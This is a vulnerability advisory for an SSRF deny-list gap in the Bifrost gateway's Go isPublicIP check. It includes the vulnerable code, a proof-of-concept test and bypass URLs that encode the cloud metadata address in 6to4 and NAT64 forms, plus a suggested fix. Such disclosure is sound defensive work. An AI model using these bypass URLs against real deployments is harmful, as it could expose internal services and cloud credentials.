CVE-2026-55245: Bifrost: SSRF deny-list incomplete: isPublicIP permits CGNAT, IPv6 6to4/NAT64, and site-local in FetchAndEncodeURL

Summary

isPublicIP in core/providers/utils/fetch.go — the SSRF deny-list that gates FetchAndEncodeURL — does not reject several routable address ranges that map onto internal infrastructure. Carrier-Grade NAT (100.64.0.0/10, RFC 6598), IPv6 6to4 (2002::/16), NAT64 (64:ff9b::/96 and 64:ff9b:1::/48), and deprecated IPv6 site-local (fec0::/10) are all classified as public and permitted. An attacker who controls a multimodal image/document URL in a Bedrock or Vertex request body can drive the gateway to fetch internal services it should not reach — including the cloud instance-metadata endpoint via the 6to4 / NAT64 embeddings of 169.254.169.254.

The rest of the fetch hardening is correct and is not part of this report: the dial-time LookupIP + pin to ips[0] closes the DNS-rebinding TOCTOU, CheckRedirect re-validates redirect targets, the scheme gate, the 25 MiB cap, and the 20 s timeout all work. This is purely a residual IP-classification gap in isPublicIP.

Affected component

- File: core/providers/utils/fetch.go, function isPublicIP (lines 107-118), reached only through FetchAndEncodeURL (line 28). - Go module: github.com/maximhq/bifrost/core - Version: confirmed on the current dev HEAD f415c144678bd4b411d74a1c1f85f18652833224 (core/version = 1.5.15).

Vulnerable code

go func isPublicIP(ip net.IP) bool { addr, ok := netip.AddrFromSlice(ip) if !ok { return false } addr = addr.Unmap() if addr.IsLoopback() || addr.IsPrivate() || addr.IsLinkLocalUnicast() || addr.IsLinkLocalMulticast() || addr.IsMulticast() || addr.IsUnspecified() || addr.IsInterfaceLocalMulticast() { return false } return true }

addr.IsPrivate() covers only RFC 1918 + RFC 4193 (fc00::/7); it does not cover CGNAT 100.64.0.0/10. addr.Unmap() only collapses the ::ffff:0:0/96 IPv4-mapped form, so 6to4 (2002::/16) and NAT64 (64:ff9b::/96, 64:ff9b:1::/48) IPv6 representations of internal/link-local IPv4 are never reduced to their embedded address and slip past every check. fec0::/10 (deprecated IPv6 site-local) is likewise not matched by any of the helpers used.

Attack surface / who can trigger it

FetchAndEncodeURL is invoked from the multimodal request-handling path of two providers:

- core/providers/bedrock/utils.go:1073 (document block.File.FileURL), :1187 (image URL via convertImageToBedrockSource) - core/providers/vertex/vertex.go:402 (document block.File.FileURL)

These URLs come straight from the client's chat-completion request body (a remote image/document URL in a multimodal content block). SanitizeImageURL (core/schemas/utils.go:180) only checks the scheme and a non-empty host — it performs no address filtering — so isPublicIP is the sole network guard, and it is always on (no opt-out flag). On a multi-tenant or shared gateway deployment, any client able to send a request can choose the fetch target.

Impact

Server-side request forgery from the gateway into internal address space that the deny-list intends to block:

- CGNAT 100.64.0.0/10 — reachable anywhere the internal fabric uses RFC 6598 space (common in Kubernetes overlay networks and cloud NAT fabrics). Live on any such host with no extra preconditions. - 6to4 2002:a9fe:a9fe:: and NAT64 64:ff9b::a9fe:a9fe — both embed 169.254.169.254, the cloud instance-metadata endpoint. On a dual-stack or NAT64-enabled host (the default on AWS/GCP IPv6-only subnets) these reach IMDS even though the direct 169.254.169.254 and ::ffff:169.254.169.254 forms are correctly blocked. - fec0::/10 — deprecated site-local, still routed on some networks.

CWE-918 (Server-Side Request Forgery). Self-discovered while reviewing IP-classification deny-lists; the missing dimensions match the classes accepted as HIGH in the canonical references below.

Proof of concept

A test placed in-package (core/providers/utils/) drives the real FetchAndEncodeURL — real http.Client, real Transport.DialContext, real isPublicIP — and classifies each target by whether isPublicIP let it past the gate. A blocked fetch to non-public address error means the gate rejected it before any dial (safe); any other outcome means the gate permitted the dial to a forbidden range (SSRF reachable).

go package utils

import ( "context" "fmt" "strings" "testing" "time" )

func TestSSRFGateDecision(t testing.T) { cases := []struct{ name, url string }{ {"CGNAT-100.64", "http://100.64.1.1:9/"}, {"CGNAT-100.127", "http://100.127.255.254:9/"}, {"6to4-IMDS", "http://[2002:a9fe:a9fe::]:9/"}, {"NAT64-IMDS", "http://[64:ff9b::a9fe:a9fe]:9/"}, {"NAT64-local-IMDS", "http://[64:ff9b:1::a9fe:a9fe]:9/"}, {"sitelocal-fec0", "http://[fec0::1]:9/"}, // controls (must be rejected at the gate): {"CONTROL-direct-IMDS", "http://169.254.169.254:9/"}, {"CONTROL-RFC1918", "http://10.0.0.1:9/"}, {"CONTROL-loopback", "http://127.0.0.1:9/"}, {"CONTROL-mapped-IMDS", "http://[::ffff:169.254.169.254]:9/"}, } for , c := range cases { ctx, cancel := context.WithTimeout(context.Background(), 4time.Second) , , err := FetchAndEncodeURL(ctx, c.url) cancel() gateBlocked := err != nil && strings.Contains(err.Error(), "blocked fetch to non-public address") fmt.Printf("%-22s gateBlock=%-6v %v\n", c.name, gateBlocked, err) } }

Verbatim output (go test ./providers/utils/ -run TestSSRFGateDecision -v against HEAD f415c14, Go 1.26.1):

=== bifrost FetchAndEncodeURL SSRF gate decision (REAL code path) === target gateBlock verbatim error / outcome ---------------------------------------------------------------------------------------------------- CGNAT-100.64 false failed to fetch from "http://100.64.1.1:9/": Get "http://100.64.1.1:9/": context deadline exceeded CGNAT-100.127 false failed to fetch from "http://100.127.255.254:9/": Get "http://100.127.255.254:9/": context deadline exceeded 6to4-IMDS false failed to fetch from "http://[2002:a9fe:a9fe::]:9/": Get "http://[2002:a9fe:a9fe::]:9/": EOF NAT64-IMDS false failed to fetch from "http://[64:ff9b::a9fe:a9fe]:9/": Get "http://[64:ff9b::a9fe:a9fe]:9/": context deadline exceeded NAT64-local-IMDS false failed to fetch from "http://[64:ff9b:1::a9fe:a9fe]:9/": Get "http://[64:ff9b:1::a9fe:a9fe]:9/": context deadline exceeded sitelocal-fec0 false failed to fetch from "http://[fec0::1]:9/": Get "http://[fec0::1]:9/": EOF CONTROL-direct-IMDS true failed to fetch from "http://169.254.169.254:9/": Get "http://169.254.169.254:9/": blocked fetch to non-public address 169.254.169.254 CONTROL-RFC1918 true failed to fetch from "http://10.0.0.1:9/": Get "http://10.0.0.1:9/": blocked fetch to non-public address 10.0.0.1 CONTROL-loopback true failed to fetch from "http://127.0.0.1:9/": Get "http://127.0.0.1:9/": blocked fetch to non-public address 127.0.0.1 CONTROL-mapped-IMDS true failed to fetch from "http://[::ffff:169.254.169.254]:9/": Get "http://[::ffff:169.254.169.254]:9/": blocked fetch to non-public address 169.254.169.254

Reading the result: every control (direct IMDS, RFC 1918, loopback, IPv4-mapped IMDS) is rejected at the gate with blocked fetch to non-public address and no socket is ever opened. Every CGNAT / 6to4 / NAT64 / site-local target instead passes isPublicIP and proceeds to the network dial — observed as context deadline exceeded or EOF (a real connection attempt), never blocked fetch to non-public address. The blocked vs dial-attempted split isolates the isPublicIP classification defect precisely.

A standalone re-check of the verbatim isPublicIP body confirms the classification directly (Go 1.26.1):

100.64.0.1 isPublicIP=true (CGNAT — should be blocked) 100.127.255.254 isPublicIP=true (CGNAT) 2002:a9fe:a9fe:: isPublicIP=true (6to4 -> 169.254.169.254) 64:ff9b::a9fe:a9fe isPublicIP=true (NAT64 -> 169.254.169.254) 64:ff9b:1::a9fe:a9fe isPublicIP=true (NAT64 local-use -> 169.254.169.254) fec0::1 isPublicIP=true (deprecated site-local) 169.254.169.254 isPublicIP=false (direct IMDS — correctly blocked, control) ::ffff:169.254.169.254 isPublicIP=false (IPv4-mapped — correctly blocked, control) 8.8.8.8 isPublicIP=true (public — correctly allowed, control)

Honest scope note

The test host used for verification has no CGNAT/NAT64 routing that returns to a local recorder, so I did not capture live instance-metadata bytes here — the connection lands on the upstream NAT or times out. The 6to4/NAT64 vectors require a dual-stack or NAT64-enabled host to reach IMDS, and the CGNAT vector requires the deployment's internal network to use 100.64.0.0/10. These are the same routing preconditions the references below were accepted under. The defect demonstrated above is unconditional: isPublicIP permits the forbidden ranges on every host.

References (canonical dimension precedents)

- CVE-2026-45741 / GHSA-86m8-88fq-xfxp — Gotenberg IsPublicIP IPv6 6to4 / NAT64 / site-local bypass; same Go netip + Unmap gap. - GHSA-5jh9-2h63-pw4q — CC-Tweaked NAT64 (64:ff9b::/96) bypass; their fix adds isCarrierGradeNatAddress (CGNAT) + NAT64 handling.

Suggested fix

In isPublicIP, after Unmap():

1. Reject CGNAT: 100.64.0.0/10 for IPv4 (and the ::ffff:100.64.0.0/106 mapped form is already handled by Unmap). 2. For IPv6, extract any embedded IPv4 and re-run the classification on it: 6to4 (2002::/16 -> bytes 2-5), NAT64 well-known (64:ff9b::/96) and local-use (64:ff9b:1::/48) -> low 32 bits. Then apply the same loopback/private/link-local/CGNAT checks to the extracted IPv4. 3. Reject deprecated site-local fec0::/10.